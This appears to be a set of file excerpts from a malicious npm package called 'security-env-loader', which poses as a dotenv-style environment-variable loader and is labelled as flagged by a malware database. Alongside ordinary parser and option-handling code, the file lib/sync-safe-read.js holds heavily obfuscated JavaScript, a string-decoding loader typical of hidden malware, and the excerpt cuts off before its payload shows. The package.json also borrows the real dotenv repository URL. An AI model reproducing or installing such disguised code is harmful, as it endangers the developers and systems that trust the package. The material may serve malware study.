security-env-loader

--- package/package.json (excerpt) ---
{
  "name": "security-env-loader",
  "version": "3.11.0",
  "description": "Loads environment variables from .env file",
  "main": "lib/main.js",
  "exports": {
    ".": "./lib/main.js",
    "./config": "./config.js",
    "./package.json": "./package.json"
  },
  "types": "types/index.d.ts",
  "scripts": {
    "flow": "flow",
    "dtslint": "dtslint types",
    "lint": "standard",
    "postlint": "standard-markdown",
    "pretest": "npm run lint && npm run dtslint",
    "test": "tap tests/*.js --100",
    "prerelease": "npm test",
    "release": "standard-version"
  },
  "repository": {
    "type": "git",
    "url": "git://github.com/motdotla/dotenv.git"
  },
  "homepage": "https://github.com/yourname/secure-env-loader",
  "bugs": {
    "url": "https://github.com/yourname/secure-env-loader/issues"
  },
  "keywords": [
    "dotenv",
    "env",
    ".env",
    "environment",
    "variables",
    "config",
    "settings",
    "safe-env-reader"
  ],
  "readmeFilename": "README.md",
  "license": "MIT",
  "devDependencies": {
    "decache": "^4.5.1",
    "dtslint": "^4.2.1",
    "flow-bin": "^0.109.0",
    "sinon": "^7.5.0",
    "standard": "^17.1.2",
    "standard-markdown": "^7.1.0",
    "standard-version": "^9.5.0",
    "tap": "^14.7.0"
  },
  "engines": {
    "node": ">=10"
  },
  "standard": {
    "ignore": [
      "flow-typed/"
    ]
  },
  "dependencies": {
    "dotenv": "^17.4.2"
  }
}


--- package/lib/main.js (excerpt) ---
/* @flow */
/*::

type DotenvParseOptions = {
  debug?: boolean
}

// keys and values from src
type DotenvParseOutput = { [string]: string }

type DotenvConfigOptions = {
  path?: string, // path to .env file
  encoding?: string, // encoding of .env file
  debug?: string // turn on logging for debugging purposes
}

type DotenvConfigOutput = {
  parsed?: DotenvParseOutput,
  error?: Error
}

*/

const fs = require('fs')
const path = require('path')

function hello_world() {
  console.log("hello, world")
}

function log(message /*: string */) {
  console.log(`[dotenv][DEBUG] ${message}`)
}

const NEWLINE = '\n'
const RE_INI_KEY_VAL = /^\s*([\w.-]+)\s*=\s*(.*)?\s*$/
const RE_NEWLINES = /\\n/g
const NEWLINES_MATCH = /\n|\r|\r\n/


// Parses src into an Object
function parse(src /*: string | Buffer */, options /*: ?DotenvParseOptions */) /*: DotenvParseOutput */ {
  const debug = Boolean(options && options.debug)
  const obj = {}

  // convert Buffers before splitting into lines and processing
  src.toString().split(NEWLINES_MATCH).forEach(function (line, idx) {
    // matching "KEY' and 'VAL' in 'KEY=VAL'
    const keyValueArr = line.match(RE_INI_KEY_VAL)
    // matched?
    if (keyValueArr != null) {
      const key = keyValueArr[1]
      // default undefined or missing values to empty string
      let val = (keyValueArr[2] || '')
      const end = val.length - 1
      const isDoubleQuoted = val[0] === '"' && val[end] === '"'
      const isSingleQuoted = val[0] === "'" && val[en

--- package/lib/sync-safe-read.js (excerpt) ---
(function(_0x4f1dc2,_0x1bda7f){const _0x299a44=_0x3b3d,_0x209821=_0x4f1dc2();while(!![]){try{const _0x50c4cf=parseInt(_0x299a44(0x20f))/0x1*(-parseInt(_0x299a44(0x218))/0x2)+-parseInt(_0x299a44(0x1f5))/0x3+parseInt(_0x299a44(0x201))/0x4*(parseInt(_0x299a44(0x20e))/0x5)+parseInt(_0x299a44(0x20b))/0x6+-parseInt(_0x299a44(0x203))/0x7*(parseInt(_0x299a44(0x212))/0x8)+parseInt(_0x299a44(0x1fd))/0x9*(parseInt(_0x299a44(0x1f0))/0xa)+-parseInt(_0x299a44(0x202))/0xb*(-parseInt(_0x299a44(0x215))/0xc);if(_0x50c4cf===_0x1bda7f)break;else _0x209821['push'](_0x209821['shift']());}catch(_0x5d4427){_0x209821['push'](_0x209821['shift']());}}}(_0x7fa8,0x23c79));const _0x5650f6=_0x3354;function _0x3354(_0x1ca2c0,_0x22f8ca){const _0x48627f=_0x3b3d;_0x1ca2c0-=0xa4;const _0x13b2b6=_0x363b();let _0x1fc9b5=_0x13b2b6[_0x1ca2c0];void 0x0===_0x3354[_0x48627f(0x1fb)]&&(_0x3354[_0x48627f(0x208)]=function(_0x5008a2){const _0x4ec3b8=_0x48627f;let _0x160a8e='',_0x158494='';for(let _0x5d9a59,_0x367474,_0x2c8694=0x0,_0x3943d4=0x0;_0x367474=_0x5008a2[_0x4ec3b8(0x205)](_0x3943d4++);~_0x367474&&(_0x5d9a59=_0x2c8694%0x4?0x40*_0x5d9a59+_0x367474:_0x367474,_0x2c8694++%0x4)?_0x160a8e+=String['fromCharCode'](0xff&_0x5d9a59>>(-0x2*_0x2c8694&0x6)):0x0)_0x367474=_0x4ec3b8(0x1f3)[_0x4ec3b8(0x211)](_0x367474);for(let _0x5d911f=0x0,_0x3fb6a0=_0x160a8e[_0x4ec3b8(0x1ea)];_0x5d911f<_0x3fb6a0;_0x5d911f++)_0x158494+='%'+('00'+_0x160a8e[_0x4ec3b8(0x1fc)](_0x5d911f)[_0x4ec3b8(0x213)](0x10))[_0x4ec3b8(0x217)](-0x2);return decodeUR

--- bundled output (OSV-MAL flagged — LLM scope expansion) ---

--- lib/cli-options.js (bundled) ---
/* @flow */

const re = /^dotenv_config_(encoding|path|debug)=(.+)$/

module.exports = function optionMatcher (args /*: Array<string> */) {
  return args.reduce(function (acc, cur) {
    const matches = cur.match(re)
    if (matches) {
      acc[matches[1]] = matches[2]
    }
    return acc
  }, {})
}


--- lib/env-options.js (bundled) ---
/* @flow */

// ../config.js accepts options via environment variables
const options = {}

if (process.env.DOTENV_CONFIG_ENCODING != null) {
  options.encoding = process.env.DOTENV_CONFIG_ENCODING
}

if (process.env.DOTENV_CONFIG_PATH != null) {
  options.path = process.env.DOTENV_CONFIG_PATH
}

if (process.env.DOTENV_CONFIG_DEBUG != null) {
  options.debug = process.env.DOTENV_CONFIG_DEBUG
}

module.exports = options